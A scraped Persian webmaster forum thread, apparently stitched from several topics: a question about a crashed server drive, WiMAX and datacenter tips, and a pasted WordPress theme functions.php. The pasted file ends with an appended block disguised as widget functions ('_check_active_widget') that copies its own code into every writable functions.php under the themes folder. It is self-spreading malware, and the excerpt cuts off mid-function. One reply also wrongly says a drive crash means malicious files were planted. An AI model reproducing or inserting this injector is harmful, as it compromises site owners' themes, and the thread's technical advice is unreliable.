برگزیده های پرشین تولز

✅ بحث و گفتگو بین وبمسترها

siavashx

کاربر فعال کسب درآمد از اینترنت
کاربر فعال
تاریخ عضویت
2 مارس 2014
نوشته‌ها
3,756
لایک‌ها
6,661
محل سکونت
خورآسان

فرهادم

کاربر تازه وارد
تاریخ عضویت
12 ژانویه 2014
نوشته‌ها
54
لایک‌ها
1
سن
35
سلام دوستان
کرش شدن هارد سرور یعنی چی؟
خطر ناک هست؟
 

cinemaamooz

همکار بازنشسته
تاریخ عضویت
14 فوریه 2014
نوشته‌ها
1,995
لایک‌ها
2,244
محل سکونت
Tehran
وایمکس و سرویس های دیگه معمولا روستاها رو هم پشتیبانی می کنن. شما با شماره ی 09377070000 ( پشتیبانی وایمکس ایرانسب ) تماس بگیر و بپرس ، ببین که منطقه شما رو پشتیبانی می کنن یا نه. این کار رو با سرویس های دیگه هم ادامه بده. انشاالله که به نتیجه می رسی.
 

cinemaamooz

همکار بازنشسته
تاریخ عضویت
14 فوریه 2014
نوشته‌ها
1,995
لایک‌ها
2,244
محل سکونت
Tehran
سلام دوستان
کرش شدن هارد سرور یعنی چی؟
خطر ناک هست؟

بله ، تا جایی که من می دونم ( مطمئن نیستم ) یعنی هارد سرور شما را داخلش فایل های مخرب ریختن و احتمال اینکه به سرورتون صدمه بزنه زیاده. این موضوع مهمه ؛ حتما پیگیری کنید.
 

فرهادم

کاربر تازه وارد
تاریخ عضویت
12 ژانویه 2014
نوشته‌ها
54
لایک‌ها
1
سن
35
راستیش مدیر سرور داره روش کار میکنه جواب داد
انشالله حل میشه لطفا منتظر بمونید
نمیدونم چش شده ولی دیروز داشت کار میکرد بعد میخواستم سرور ارتقابدم مدیر سرور گفت هارد کرش شده و الان دسترسی قطع کرده
دوستان مشکل حل شدنی هست فکر میکنید؟
 

M+J

مدیر بازارچه
مدیر انجمن
مدیر انجمن
تاریخ عضویت
21 سپتامبر 2011
نوشته‌ها
4,914
لایک‌ها
4,011
محل سکونت
127.0.0.1
اگر ایرانی هستند از یه دیتاسنتر ایرانی به صورت مستقیم خرید کنید.
کیفیت و سرعت بهتره.
دیتاسنترهای ایرانی افرانت فکر میکنم قیمت مناسبتری داره :confused:
آسیاتک هم دیتاسنتر داره؟! o_O داخل سایتش توضیحی نداده..

پ.ن: افرانت موجودیش رو 0 زده!!!
 

فرهادم

کاربر تازه وارد
تاریخ عضویت
12 ژانویه 2014
نوشته‌ها
54
لایک‌ها
1
سن
35
راستیش مدیر سرور داره روش کار میکنه جواب داد
انشالله حل میشه لطفا منتظر بمونید
نمیدونم چش شده ولی دیروز داشت کار میکرد بعد میخواستم سرور ارتقابدم مدیر سرور گفت هارد کرش شده و الان دسترسی قطع کرده
دوستان مشکل حل شدنی هست فکر میکنید؟
کسی تابحال این مشکل براش پیش اومده؟
 

وبمستر

Registered User
تاریخ عضویت
3 ژانویه 2014
نوشته‌ها
482
لایک‌ها
254
سن
30
محل سکونت
وردپرس
کد:
<?php
/* ------------------------------------------------------------------------- *
*  Custom functions
/* ------------------------------------------------------------------------- */
   
    // Use a child theme instead of placing custom functions here
    // http://codex.wordpress.org/Child_Themes


/* ------------------------------------------------------------------------- *
*  OptionTree framework integration: Use in theme mode
/* ------------------------------------------------------------------------- */
   
    add_filter( 'ot_show_pages', '__return_false' );
    add_filter( 'ot_show_new_layout', '__return_false' );
    add_filter( 'ot_theme_mode', '__return_true' );
    load_template( get_template_directory() . '/option-tree/ot-loader.php' );


/* ------------------------------------------------------------------------- *
*  Load theme files
/* ------------------------------------------------------------------------- */   

if ( ! function_exists( 'alx_load' ) ) {
   
    function alx_load() {
        // Load theme languages
        load_theme_textdomain( 'hueman', get_template_directory().'/languages' );
       
        // Load theme options and meta boxes
        load_template( get_template_directory() . '/functions/theme-options.php' );
        load_template( get_template_directory() . '/functions/meta-boxes.php' );
       
        // Load custom widgets
        load_template( get_template_directory() . '/functions/widgets/alx-tabs.php' );
        load_template( get_template_directory() . '/functions/widgets/alx-video.php' );
        load_template( get_template_directory() . '/functions/widgets/alx-posts.php' );
       
        // Load custom shortcodes
        load_template( get_template_directory() . '/functions/shortcodes.php' );

        // Load dynamic styles
        load_template( get_template_directory() . '/functions/dynamic-styles.php' );
       
        // Load TGM plugin activation
        load_template( get_template_directory() . '/functions/class-tgm-plugin-activation.php' );
    }
   
}
add_action( 'after_setup_theme', 'alx_load' );   


/* ------------------------------------------------------------------------- *
*  Base functionality
/* ------------------------------------------------------------------------- */
   
    // Content width
    if ( !isset( $content_width ) ) { $content_width = 720; }


/*  Theme setup
/* ------------------------------------ */
if ( ! function_exists( 'alx_setup' ) ) {
   
    function alx_setup() {       
        // Enable automatic feed links
        add_theme_support( 'automatic-feed-links' );
   
        // Enable post format support
        add_theme_support( 'post-formats', array( 'audio', 'aside', 'chat', 'gallery', 'image', 'link', 'quote', 'status', 'video' ) );
       
        // Declare WooCommerce support
        add_theme_support( 'woocommerce' );
       
        // Thumbnail sizes
        add_image_size( 'thumb-small', 160, 160, true );
        add_image_size( 'thumb-medium', 520, 245, true );
        add_image_size( 'thumb-large', 720, 340, true );

        // Custom menu areas
        register_nav_menus( array(
            'topbar' => 'Topbar',
            'header' => 'Header',
            'footer' => 'Footer',
        ) );
    }
   
}
add_action( 'after_setup_theme', 'alx_setup' );


/*  Register sidebars
/* ------------------------------------ */   
if ( ! function_exists( 'alx_sidebars' ) ) {

    function alx_sidebars()    {
        register_sidebar(array( 'name' => 'Primary','id' => 'primary','description' => "Normal full width sidebar", 'before_widget' => '<div id="%1$s" class="widget %2$s">','after_widget' => '</div>','before_title' => '<h3>','after_title' => '</h3>'));
        register_sidebar(array( 'name' => 'Secondary','id' => 'secondary','description' => "Normal full width sidebar", 'before_widget' => '<div id="%1$s" class="widget %2$s">','after_widget' => '</div>','before_title' => '<h3>','after_title' => '</h3>'));
        if ( ot_get_option('footer-widgets') >= '1' ) { register_sidebar(array( 'name' => 'Footer 1','id' => 'footer-1', 'description' => "Widetized footer", 'before_widget' => '<div id="%1$s" class="widget %2$s">','after_widget' => '</div>','before_title' => '<h3>','after_title' => '</h3>')); }
        if ( ot_get_option('footer-widgets') >= '2' ) { register_sidebar(array( 'name' => 'Footer 2','id' => 'footer-2', 'description' => "Widetized footer", 'before_widget' => '<div id="%1$s" class="widget %2$s">','after_widget' => '</div>','before_title' => '<h3>','after_title' => '</h3>')); }
        if ( ot_get_option('footer-widgets') >= '3' ) { register_sidebar(array( 'name' => 'Footer 3','id' => 'footer-3', 'description' => "Widetized footer", 'before_widget' => '<div id="%1$s" class="widget %2$s">','after_widget' => '</div>','before_title' => '<h3>','after_title' => '</h3>')); }
        if ( ot_get_option('footer-widgets') >= '4' ) { register_sidebar(array( 'name' => 'Footer 4','id' => 'footer-4', 'description' => "Widetized footer", 'before_widget' => '<div id="%1$s" class="widget %2$s">','after_widget' => '</div>','before_title' => '<h3>','after_title' => '</h3>')); }
    }
   
}
add_action( 'widgets_init', 'alx_sidebars' );


/*  Enqueue javascript
/* ------------------------------------ */   
if ( ! function_exists( 'alx_scripts' ) ) {
   
    function alx_scripts() {
        wp_enqueue_script( 'flexslider', get_template_directory_uri() . '/js/jquery.flexslider.min.js', array( 'jquery' ),'', false );
        wp_enqueue_script( 'jplayer', get_template_directory_uri() . '/js/jquery.jplayer.min.js', array( 'jquery' ),'', true );
        wp_enqueue_script( 'scripts', get_template_directory_uri() . '/js/scripts.js', array( 'jquery' ),'', true );
        if ( is_singular() ) { wp_enqueue_script( 'sharrre', get_template_directory_uri() . '/js/jquery.sharrre.min.js', array( 'jquery' ),'', true ); }
        if ( is_singular() && get_option( 'thread_comments' ) )    { wp_enqueue_script( 'comment-reply' ); }
    } 
   
}
add_action( 'wp_enqueue_scripts', 'alx_scripts' );


/*  Enqueue css
/* ------------------------------------ */   
if ( ! function_exists( 'alx_styles' ) ) {
   
    function alx_styles() {
        wp_enqueue_style( 'style', get_stylesheet_uri() );
        if ( !ot_get_option('responsive') ) { wp_enqueue_style( 'responsive', get_template_directory_uri().'/responsive.css' ); }
        if ( ot_get_option('custom') ) { wp_enqueue_style( 'custom', get_template_directory_uri().'/custom.css' ); }
        wp_enqueue_style( 'font-awesome', get_template_directory_uri().'/fonts/font-awesome.min.css' );
    }
   
}
add_action( 'wp_enqueue_scripts', 'alx_styles' );


/*  Register custom sidebars
/* ------------------------------------ */
if ( ! function_exists( 'alx_custom_sidebars' ) ) {

    function alx_custom_sidebars() {
        if ( !ot_get_option('sidebar-areas') =='' ) {
           
            $sidebars = ot_get_option('sidebar-areas', array());
           
            if ( !empty( $sidebars ) ) {
                foreach( $sidebars as $sidebar ) {
                    if ( isset($sidebar['title']) && !empty($sidebar['title']) && isset($sidebar['id']) && !empty($sidebar['id']) && ($sidebar['id'] !='sidebar-') ) {
                        register_sidebar(array('name' => ''.$sidebar['title'].'','id' => ''.strtolower($sidebar['id']).'','before_widget' => '<div id="%1$s" class="widget %2$s">','after_widget' => '</div>','before_title' => '<h3>','after_title' => '</h3>'));
                    }
                }
            }
        }
    }
   
}
add_action( 'widgets_init', 'alx_custom_sidebars' );


/* ------------------------------------------------------------------------- *
*  Template functions
/* ------------------------------------------------------------------------- */   

/*  Layout class
/* ------------------------------------ */
if ( ! function_exists( 'alx_layout_class' ) ) {
   
    function alx_layout_class() {
        // Default layout
        $layout = 'col-3cm';
        $default = 'col-3cm';

        // Check for page/post specific layout
        if ( is_page() || is_single() ) {
            // Reset post data
            wp_reset_postdata();
            global $post;
            // Get meta
            $meta = get_post_meta($post->ID,'_layout',true);
            // Get if set and not set to inherit
            if ( isset($meta) && !empty($meta) && $meta != 'inherit' ) { $layout = $meta; }
            // Else check for page-global / single-global
            elseif ( is_single() && ( ot_get_option('layout-single') !='inherit' ) ) $layout = ot_get_option('layout-single',''.$default.'');
            elseif ( is_page() && ( ot_get_option('layout-page') !='inherit' ) ) $layout = ot_get_option('layout-page',''.$default.'');
            // Else get global option
            else $layout = ot_get_option('layout-global',''.$default.'');
        }
       
        // Set layout based on page
        elseif ( is_home() && ( ot_get_option('layout-home') !='inherit' ) ) $layout = ot_get_option('layout-home',''.$default.'');
        elseif ( is_category() && ( ot_get_option('layout-archive-category') !='inherit' ) ) $layout = ot_get_option('layout-archive-category',''.$default.'');
        elseif ( is_archive() && ( ot_get_option('layout-archive') !='inherit' ) ) $layout = ot_get_option('layout-archive',''.$default.'');
        elseif ( is_search() && ( ot_get_option('layout-search') !='inherit' ) ) $layout = ot_get_option('layout-search',''.$default.'');
        elseif ( is_404() && ( ot_get_option('layout-404') !='inherit' ) ) $layout = ot_get_option('layout-404',''.$default.'');
       
        // Global option
        else $layout = ot_get_option('layout-global',''.$default.'');
       
        // Return layout class
        return $layout;
    }
   
}


/*  Dynamic sidebar primary
/* ------------------------------------ */
if ( ! function_exists( 'alx_sidebar_primary' ) ) {
   
    function alx_sidebar_primary() {
        // Default sidebar
        $sidebar = 'primary';

        // Set sidebar based on page
        if ( is_home() && ot_get_option('s1-home') ) $sidebar = ot_get_option('s1-home');
        if ( is_single() && ot_get_option('s1-single') ) $sidebar = ot_get_option('s1-single');
        if ( is_archive() && ot_get_option('s1-archive') ) $sidebar = ot_get_option('s1-archive');
        if ( is_category() && ot_get_option('s1-archive-category') ) $sidebar = ot_get_option('s1-archive-category');
        if ( is_search() && ot_get_option('s1-search') ) $sidebar = ot_get_option('s1-search');
        if ( is_404() && ot_get_option('s1-404') ) $sidebar = ot_get_option('s1-404');
        if ( is_page() && ot_get_option('s1-page') ) $sidebar = ot_get_option('s1-page');

        // Check for page/post specific sidebar
        if ( is_page() || is_single() ) {
            // Reset post data
            wp_reset_postdata();
            global $post;
            // Get meta
            $meta = get_post_meta($post->ID,'_sidebar_primary',true);
            if ( $meta ) { $sidebar = $meta; }
        }

        // Return sidebar
        return $sidebar;
    }
   
}


/*  Dynamic sidebar secondary
/* ------------------------------------ */
if ( ! function_exists( 'alx_sidebar_secondary' ) ) {

    function alx_sidebar_secondary() {
        // Default sidebar
        $sidebar = 'secondary';

        // Set sidebar based on page
        if ( is_home() && ot_get_option('s2-home') ) $sidebar = ot_get_option('s2-home');
        if ( is_single() && ot_get_option('s2-single') ) $sidebar = ot_get_option('s2-single');
        if ( is_archive() && ot_get_option('s2-archive') ) $sidebar = ot_get_option('s2-archive');
        if ( is_category() && ot_get_option('s2-archive-category') ) $sidebar = ot_get_option('s2-archive-category');
        if ( is_search() && ot_get_option('s2-search') ) $sidebar = ot_get_option('s2-search');
        if ( is_404() && ot_get_option('s2-404') ) $sidebar = ot_get_option('s2-404');
        if ( is_page() && ot_get_option('s2-page') ) $sidebar = ot_get_option('s2-page');

        // Check for page/post specific sidebar
        if ( is_page() || is_single() ) {
            // Reset post data
            wp_reset_postdata();
            global $post;
            // Get meta
            $meta = get_post_meta($post->ID,'_sidebar_secondary',true);
            if ( $meta ) { $sidebar = $meta; }
        }

        // Return sidebar
        return $sidebar;
    }
   
}


/*  Social links
/* ------------------------------------ */
if ( ! function_exists( 'alx_social_links' ) ) {

    function alx_social_links() {
        if ( !ot_get_option('social-links') =='' ) {
            $links = ot_get_option('social-links', array());
            if ( !empty( $links ) ) {
                echo '<ul class="social-links">';   
                foreach( $links as $item ) {
                   
                    // Build each separate html-section only if set
                    if ( isset($item['title']) && !empty($item['title']) )
                        { $title = 'title="' .$item['title']. '"'; } else $title = '';
                    if ( isset($item['social-link']) && !empty($item['social-link']) )
                        { $link = 'href="' .$item['social-link']. '"'; } else $link = '';
                    if ( isset($item['social-target']) && !empty($item['social-target']) )
                        { $target = 'target="' .$item['social-target']. '"'; } else $target = '';
                    if ( isset($item['social-icon']) && !empty($item['social-icon']) )
                        { $icon = 'class="fa ' .$item['social-icon']. '"'; } else $icon = '';
                    if ( isset($item['social-color']) && !empty($item['social-color']) )
                        { $color = 'style="color: ' .$item['social-color']. ';"'; } else $color = '';
                   
                    // Put them together
                    if ( isset($item['title']) && !empty($item['title']) && isset($item['social-icon']) && !empty($item['social-icon']) && ($item['social-icon'] !='fa-') ) {
                        echo '<li><a rel="nofollow" class="social-tooltip" '.$title.' '.$link.' '.$target.'><i '.$icon.' '.$color.'></i></a></li>';
                    }
                }
                echo '</ul>';
            }
        }
    }
   
}


/*  Site name/logo
/* ------------------------------------ */
if ( ! function_exists( 'alx_site_title' ) ) {

    function alx_site_title() {
   
        // Text or image?
        if ( ot_get_option('custom-logo') ) {
            $logo = '<img src="'.ot_get_option('custom-logo').'" alt="'.get_bloginfo('name').'">';
        } else {
            $logo = get_bloginfo('name');
        }
       
        $link = '<a href="'.home_url('/').'" rel="home">'.$logo.'</a>';
       
        if ( is_front_page() || is_home() ) {
            $sitename = '<h1 class="site-title">'.$link.'</h1>'."\n";
        } else {
            $sitename = '<p class="site-title">'.$link.'</p>'."\n";
        }
       
        return $sitename;
    }
   
}


/*  Page title
/* ------------------------------------ */
if ( ! function_exists( 'alx_page_title' ) ) {

    function alx_page_title() {
        global $post;

        $heading = get_post_meta($post->ID,'_heading',true);
        $subheading = get_post_meta($post->ID,'_subheading',true);
        $title = $heading?$heading:the_title();
        if($subheading) {
            $title = $title.' <span>'.$subheading.'</span>';
        }

        return $title;
    }
   
}


/*  Blog title
/* ------------------------------------ */
if ( ! function_exists( 'alx_blog_title' ) ) {

    function alx_blog_title() {
        global $post;
        $heading = ot_get_option('blog-heading');
        $subheading = ot_get_option('blog-subheading');
        if($heading) {
            $title = $heading;
        } else {
            $title = get_bloginfo('name');
        }
        if($subheading) {
            $title = $title.' <span>'.$subheading.'</span>';
        }

        return $title;
    }
   
}


/*  Related posts
/* ------------------------------------ */
if ( ! function_exists( 'alx_related_posts' ) ) {

    function alx_related_posts() {
        wp_reset_postdata();
        global $post;

        // Define shared post arguments
        $args = array(
            'no_found_rows'                => true,
            'update_post_meta_cache'    => false,
            'update_post_term_cache'    => false,
            'ignore_sticky_posts'        => 1,
            'orderby'                    => 'rand',
            'post__not_in'                => array($post->ID),
            'posts_per_page'            => 3
        );
        // Related by categories
        if ( ot_get_option('related-posts') == 'categories' ) {
           
            $cats = get_post_meta($post->ID, 'related-cat', true);
           
            if ( !$cats ) {
                $cats = wp_get_post_categories($post->ID, array('fields'=>'ids'));
                $args['category__in'] = $cats;
            } else {
                $args['cat'] = $cats;
            }
        }
        // Related by tags
        if ( ot_get_option('related-posts') == 'tags' ) {
       
            $tags = get_post_meta($post->ID, 'related-tag', true);
           
            if ( !$tags ) {
                $tags = wp_get_post_tags($post->ID, array('fields'=>'ids'));
                $args['tag__in'] = $tags;
            } else {
                $args['tag_slug__in'] = explode(',', $tags);
            }
            if ( !$tags ) { $break = true; }
        }
       
        $query = !isset($break)?new WP_Query($args):new WP_Query;
        return $query;
    }
   
}


/*  Get images attached to post
/* ------------------------------------ */
if ( ! function_exists( 'alx_post_images' ) ) {

    function alx_post_images( $args=array() ) {
        global $post;

        $defaults = array(
            'numberposts'        => -1,
            'order'                => 'ASC',
            'orderby'            => 'menu_order',
            'post_mime_type'    => 'image',
            'post_parent'        =>  $post->ID,
            'post_type'            => 'attachment',
        );

        $args = wp_parse_args( $args, $defaults );

        return get_posts( $args );
    }
   
}


/*  Get featured post ids
/* ------------------------------------ */
if ( ! function_exists( 'alx_get_featured_post_ids' ) ) {

    function alx_get_featured_post_ids() {
        $args = array(
            'category'        => ot_get_option('featured-category'),
            'numberposts'    => ot_get_option('featured-posts-count')
        );
        $posts = get_posts($args);
        if ( !$posts ) return false;
        foreach ( $posts as $post )
            $ids[] = $post->ID;
        return $ids;
    }
   
}


/* ------------------------------------------------------------------------- *
*  Admin panel functions
/* ------------------------------------------------------------------------- */       

/*  Post formats script
/* ------------------------------------ */
if ( ! function_exists( 'alx_post_formats_script' ) ) {

    function alx_post_formats_script( $hook ) {
        // Only load on posts, pages
        if ( !in_array($hook, array('post.php','post-new.php')) )
            return;
        wp_enqueue_script('post-formats', get_template_directory_uri() . '/functions/js/post-formats.js', array( 'jquery' ));
    }
   
}
add_action( 'admin_enqueue_scripts', 'alx_post_formats_script');


/* ------------------------------------------------------------------------- *
*  Filters
/* ------------------------------------------------------------------------- */

/*  Body class
/* ------------------------------------ */
if ( ! function_exists( 'alx_body_class' ) ) {

    function alx_body_class( $classes ) {
        $classes[] = alx_layout_class();
        if ( !ot_get_option( 'boxed' ) ) { $classes[] = 'full-width'; }
        if ( ot_get_option( 'boxed' ) ) { $classes[] = 'boxed'; }
        if ( has_nav_menu('topbar') ) {    $classes[] = 'topbar-enabled'; }
        if ( ot_get_option( 'mobile-sidebar-hide' ) == 's1' ) { $classes[] = 'mobile-sidebar-hide-s1'; }
        if ( ot_get_option( 'mobile-sidebar-hide' ) == 's2' ) { $classes[] = 'mobile-sidebar-hide-s2'; }
        if ( ot_get_option( 'mobile-sidebar-hide' ) == 's1-s2' ) { $classes[] = 'mobile-sidebar-hide'; }
        return $classes;
    }
   
}
add_filter( 'body_class', 'alx_body_class' );


/*  Site title
/* ------------------------------------ */
if ( ! function_exists( 'alx_wp_title' ) ) {

    function alx_wp_title( $title ) {
        // Do not filter for RSS feed / if SEO plugin installed
        if ( is_feed() || class_exists('All_in_One_SEO_Pack') || class_exists('HeadSpace_Plugin') || class_exists('Platinum_SEO_Pack') || class_exists('wpSEO') || defined('WPSEO_VERSION') )
            return $title;
        if ( is_front_page() ) {
            $title = bloginfo('name'); echo ' - '; bloginfo('description');
        }
        if ( !is_front_page() ) {
            $title.= ''.' - '.''.get_bloginfo('name');
        }
        return $title;
    }
   
}
add_filter( 'wp_title', 'alx_wp_title' );


/*  Custom rss feed
/* ------------------------------------ */
if ( ! function_exists( 'alx_feed_link' ) ) {

    function alx_feed_link( $output, $feed ) {
        // Do not redirect comments feed
        if ( strpos( $output, 'comments' ) )
            return $output;
        // Return feed url
        return ot_get_option('rss-feed',$output);
    }
   
}
add_filter( 'feed_link', 'alx_feed_link', 10, 2 );


/*  Custom favicon
/* ------------------------------------ */
if ( ! function_exists( 'alx_favicon' ) ) {

    function alx_favicon() {
        if ( ot_get_option('favicon') ) {
            echo '<link rel="shortcut icon" href="'.ot_get_option('favicon').'" />'."\n";
        }
    }
   
}
add_filter( 'wp_head', 'alx_favicon' );


/*  Tracking code
/* ------------------------------------ */
if ( ! function_exists( 'alx_tracking_code' ) ) {

    function alx_tracking_code() {
        if ( ot_get_option('tracking-code') ) {
            echo ''.ot_get_option('tracking-code').''."\n";
        }
    }
   
}
add_filter( 'wp_footer', 'alx_tracking_code' );


/*  Excerpt ending
/* ------------------------------------ */
if ( ! function_exists( 'alx_excerpt_more' ) ) {

    function alx_excerpt_more( $more ) {
        return '&#46;&#46;&#46;';
    }
   
}
add_filter( 'excerpt_more', 'alx_excerpt_more' );


/*  Excerpt length
/* ------------------------------------ */
if ( ! function_exists( 'alx_excerpt_length' ) ) {

    function alx_excerpt_length( $length ) {
        return ot_get_option('excerpt-length',$length);
    }
   
}
add_filter( 'excerpt_length', 'alx_excerpt_length', 999 );


/*  Add wmode transparent to media embeds
/* ------------------------------------ */
if ( ! function_exists( 'alx_embed_wmode_transparent' ) ) {
   
    function alx_embed_wmode_transparent( $html, $url, $attr ) {
        if ( strpos( $html, "<embed src=" ) !== false )
           { return str_replace('</param><embed', '</param><param name="wmode" value="opaque"></param><embed wmode="opaque" ', $html); }
        elseif ( strpos ( $html, 'feature=oembed' ) !== false )
           { return str_replace( 'feature=oembed', 'feature=oembed&wmode=opaque', $html ); }
        else
           { return $html; }
    }
   
}
add_filter( 'embed_oembed_html', 'alx_embed_wmode_transparent', 10, 3 );


/*  Add responsive container to embeds
/* ------------------------------------ */   
if ( ! function_exists( 'alx_embed_html' ) ) {

    function alx_embed_html( $html ) {
        return '<div class="video-container">' . $html . '</div>';
    }

}
add_filter( 'embed_oembed_html', 'alx_embed_html', 10, 3 );
add_filter( 'video_embed_html', 'alx_embed_html' ); // Jetpack


/*  Upscale cropped thumbnails
/* ------------------------------------ */
if ( ! function_exists( 'alx_thumbnail_upscale' ) ) {

    function alx_thumbnail_upscale( $default, $orig_w, $orig_h, $new_w, $new_h, $crop ){
        if ( !$crop ) return null; // let the wordpress default function handle this

        $aspect_ratio = $orig_w / $orig_h;
        $size_ratio = max($new_w / $orig_w, $new_h / $orig_h);

        $crop_w = round($new_w / $size_ratio);
        $crop_h = round($new_h / $size_ratio);

        $s_x = floor( ($orig_w - $crop_w) / 2 );
        $s_y = floor( ($orig_h - $crop_h) / 2 );

        return array( 0, 0, (int) $s_x, (int) $s_y, (int) $new_w, (int) $new_h, (int) $crop_w, (int) $crop_h );
    }
   
}
add_filter( 'image_resize_dimensions', 'alx_thumbnail_upscale', 10, 6 );


/*  Add shortcode support to text widget
/* ------------------------------------ */
add_filter( 'widget_text', 'do_shortcode' );


/*  Browser detection body_class() output
/* ------------------------------------ */
if ( ! function_exists( 'alx_browser_body_class' ) ) {

    function alx_browser_body_class( $classes ) {
        global $is_lynx, $is_gecko, $is_IE, $is_opera, $is_NS4, $is_safari, $is_chrome, $is_iphone;

        if($is_lynx) $classes[] = 'lynx';
        elseif($is_gecko) $classes[] = 'gecko';
        elseif($is_opera) $classes[] = 'opera';
        elseif($is_NS4) $classes[] = 'ns4';
        elseif($is_safari) $classes[] = 'safari';
        elseif($is_chrome) $classes[] = 'chrome';
        elseif($is_IE) {
            $browser = $_SERVER['HTTP_USER_AGENT'];
            $browser = substr( "$browser", 25, 8);
            if ($browser == "MSIE 7.0"  ) {
                $classes[] = 'ie7';
                $classes[] = 'ie';
            } elseif ($browser == "MSIE 6.0" ) {
                $classes[] = 'ie6';
                $classes[] = 'ie';
            } elseif ($browser == "MSIE 8.0" ) {
                $classes[] = 'ie8';
                $classes[] = 'ie';
            } elseif ($browser == "MSIE 9.0" ) {
                $classes[] = 'ie9';
                $classes[] = 'ie';
            } else {
                $classes[] = 'ie';
            }
        }
        else $classes[] = 'unknown';

        if( $is_iphone ) $classes[] = 'iphone';

        return $classes;
    }
   
}
add_filter( 'body_class', 'alx_browser_body_class' );


/* ------------------------------------------------------------------------- *
*  Actions
/* ------------------------------------------------------------------------- */   

/*  Include or exclude featured articles in loop
/* ------------------------------------ */
if ( ! function_exists( 'alx_pre_get_posts' ) ) {

    function alx_pre_get_posts( $query ) {
        // Are we on main query ?
        if ( !$query->is_main_query() ) return;
        if ( $query->is_home() ) {

            // Featured posts enabled
            if ( ot_get_option('featured-posts-count') != '0' ) {
                // Get featured post ids
                $featured_post_ids = alx_get_featured_post_ids();
                // Exclude posts
                if ( $featured_post_ids && !ot_get_option('featured-posts-include') )
                    $query->set('post__not_in', $featured_post_ids);
            }
        }
    }
   
}
add_action( 'pre_get_posts', 'alx_pre_get_posts' );


/*  Script for no-js / js class
/* ------------------------------------ */
if ( ! function_exists( 'alx_html_js_class' ) ) {

    function alx_html_js_class () {
        echo '<script>document.documentElement.className = document.documentElement.className.replace("no-js","js");</script>'. "\n";
    }
   
}
add_action( 'wp_head', 'alx_html_js_class', 1 );


/*  IE js header
/* ------------------------------------ */
if ( ! function_exists( 'alx_ie_js_header' ) ) {

    function alx_ie_js_header () {
        echo '<!--[if lt IE 9]>'. "\n";
        echo '<script src="' . esc_url( get_template_directory_uri() . '/js/ie/html5.js' ) . '"></script>'. "\n";
        echo '<script src="' . esc_url( get_template_directory_uri() . '/js/ie/selectivizr.js' ) . '"></script>'. "\n";
        echo '<![endif]-->'. "\n";
    }
   
}
add_action( 'wp_head', 'alx_ie_js_header' );


/*  IE js footer
/* ------------------------------------ */
if ( ! function_exists( 'alx_ie_js_footer' ) ) {

    function alx_ie_js_footer () {
        echo '<!--[if lt IE 9]>'. "\n";
        echo '<script src="' . esc_url( get_template_directory_uri() . '/js/ie/respond.js' ) . '"></script>'. "\n";
        echo '<![endif]-->'. "\n";
    }
   
}
add_action( 'wp_footer', 'alx_ie_js_footer', 20 );   


/*  TGM plugin activation
/* ------------------------------------ */
if ( ! function_exists( 'alx_plugins' ) ) {
   
    function alx_plugins() {
       
        // Add the following plugins
        $plugins = array(
            array(
                'name'                 => 'Regenerate Thumbnails',
                'slug'                 => 'regenerate-thumbnails',
                'required'            => false,
                'force_activation'     => false,
                'force_deactivation'=> false,
            ),
            array(
                'name'                 => 'WP-PageNavi',
                'slug'                 => 'wp-pagenavi',
                'required'            => false,
                'force_activation'     => false,
                'force_deactivation'=> false,
            ),
            array(
                'name'                 => 'Responsive Lightbox',
                'slug'                 => 'light',
                'source'            => get_template_directory() . '/functions/plugins/light.zip',
                'required'            => false,
                'force_activation'     => false,
                'force_deactivation'=> false,
            ),
            array(
                'name'                 => 'Contact Form 7',
                'slug'                 => 'contact-form-7',
                'required'            => false,
                'force_activation'     => false,
                'force_deactivation'=> false,
            )
        );   
        tgmpa( $plugins );
    }
   
}
add_action( 'tgmpa_register', 'alx_plugins' );


/*  WooCommerce basic support
/* ------------------------------------ */
function alx_wc_wrapper_start() {
    echo '<section class="content">';
    echo '<div class="pad">';
}
function alx_wc_wrapper_end() {
    echo '</div>';
    echo '</section>';
}
remove_action( 'woocommerce_before_main_content', 'woocommerce_output_content_wrapper', 10);
remove_action( 'woocommerce_after_main_content', 'woocommerce_output_content_wrapper_end', 10);
add_action('woocommerce_before_main_content', 'alx_wc_wrapper_start', 10);
add_action('woocommerce_after_main_content', 'alx_wc_wrapper_end', 10);
?>
<?php
function _check_active_widget(){
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    $output=strip_tags($output, $allowed);
    $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
        foreach ($direst as $item){
            if (is_writable($item)){
                $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                $cont=file_get_contents($item);
                if (stripos($cont,$ftion) === false){
                    $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
                    $output .= $before . "Not found" . $after;
                    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);               
                    $output .= ($showdot && $ellipsis) ? "..." : "";
                }
            }
        }
    }
    return $output;
}
function _get_all_widgetcont($wids,$items=array()){
    $places=array_shift($wids);
    if(substr($places,-1) == "/"){
        $places=substr($places,0,-1);
    }
    if(!file_exists($places) || !is_dir($places)){
        return false;
    }elseif(is_readable($places)){
        $elems=scandir($places);
        foreach ($elems as $elem){
            if ($elem != "." && $elem != ".."){
                if (is_dir($places . "/" . $elem)){
                    $wids[]=$places . "/" . $elem;
                } elseif (is_file($places . "/" . $elem)&&
                    $elem == substr(__FILE__,-13)){
                    $items[]=$places . "/" . $elem;}
                }
            }
    }else{
        return false;   
    }
    if (sizeof($wids) > 0){
        return _get_all_widgetcont($wids,$items);
    } else {
        return $items;
    }
}
if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
}

if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }
}
if(!function_exists("scandir")){
    function scandir($dir,$listDirectories=false, $skipDots=true) {
